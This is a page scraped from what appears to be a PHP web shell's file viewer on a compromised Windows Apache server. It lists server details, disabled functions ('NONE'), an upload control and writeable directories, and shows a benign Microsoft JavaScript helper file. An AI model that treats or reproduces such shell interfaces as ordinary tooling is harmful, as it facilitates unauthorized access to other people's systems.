KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT SERVER-PC 10.0 build 26200 (Windows 11) AMD64
User : ServerPC ( 0)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  C:/Windows/SystemApps/MicrosoftWindows.Client.CBS_cw5n1h2txyewy/core/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : C:/Windows/SystemApps/MicrosoftWindows.Client.CBS_cw5n1h2txyewy/core/js/require-helpers.js
"use strict";
function requireAsync(modules) {
    /// <summary>Asynchronously loads modules using RequireJs and returns a promise</summary>
    /// <param name="modules" type="Array">Array of one or more module names</param>
    /// <returns type="WinJS.Promise">A promise which when fulfilled provides an object where the keys are module names (with "/" squashed to "_") and the values are the loaded module references</returns>
    return new WinJS.Promise((reportComplete, reportError, reportProgress) => {
        require(modules, (...loadedModules) => {
            var result = {};
            for (let i = 0; i < modules.length; i++) {                
                result[modules[i].replace("/", "_").replace("-", "_")] = loadedModules[i];
            }
            reportComplete(result);
        }, (error) => {
            reportError(error);
        });
    });
}

// For now, treat F5 deployments as "debug mode"
// Eventually we should have a minifier set up to strip all Debug calls from call sites in release builds
(function () {
    let isDebugBuild = self.Windows && Windows.ApplicationModel.Package.current.isDevelopmentMode;
    if (isDebugBuild) {
        function _getCallerInfo() {
            let caller = null;
            try {
                let errorObj = new Error();
                caller = errorObj.stack.split("\n")[3];
            }
            catch (ex) { }
            return caller;
        }

        self.Debug = {
            assert: function (predicate, msg) {
                if (!predicate) {
                    let caller = _getCallerInfo();
                    console.log(`Assertion hit: ${msg || ""} ${caller || "" }`);
                    debugger;
                }
            },
            break: function (msg) {
                let caller = _getCallerInfo();
                console.log(`Assertion hit: ${msg || ""} ${caller || "" }`);
                debugger;
            },
            log: function (msg) {
                let caller = _getCallerInfo();
                console.log(msg + (caller || ""));
            },
        };
    }
    else {
        self.Debug = {
            assert: function () { },
            break: function () { },
            log: function () { },
        };
    }
})();

Anon7 - 2021